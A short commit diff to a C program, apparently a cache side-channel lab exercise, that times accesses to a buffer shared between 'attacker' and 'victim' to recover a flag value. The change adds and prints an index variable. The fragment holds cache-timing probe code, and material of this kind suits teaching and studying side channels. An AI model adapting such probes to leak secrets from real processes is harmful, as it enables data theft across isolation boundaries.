part2 ver 0.2.2
This commit is contained in:
parent
73dfe68cdf
commit
5deca22f22
|
@ -11,6 +11,7 @@
|
||||||
#define CACHE_HIT_THRESHOLD 200
|
#define CACHE_HIT_THRESHOLD 200
|
||||||
#define WAIT_TIME 100
|
#define WAIT_TIME 100
|
||||||
int main() {
|
int main() {
|
||||||
|
int index = -1;
|
||||||
int flag = -1;
|
int flag = -1;
|
||||||
CYCLES time = -1;
|
CYCLES time = -1;
|
||||||
// buf is shared between the attacker and the victim
|
// buf is shared between the attacker and the victim
|
||||||
|
@ -25,11 +26,13 @@ int main() {
|
||||||
time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128);
|
time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128);
|
||||||
if(time < CACHE_HIT_THRESHOLD) {
|
if(time < CACHE_HIT_THRESHOLD) {
|
||||||
flag = (i*i) / 1024 % 1024;
|
flag = (i*i) / 1024 % 1024;
|
||||||
|
index=i;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
printf("Flag: %d\n", flag);
|
printf("Flag: %d\n", flag);
|
||||||
printf("Time: %d\n", time);
|
printf("Time: %d\n", time);
|
||||||
|
printf("Index: %d\n", index);
|
||||||
|
|
||||||
deallocate_shared_buffer(buf);
|
deallocate_shared_buffer(buf);
|
||||||
return 0;
|
return 0;
|
||||||
|
|
Loading…
Reference in New Issue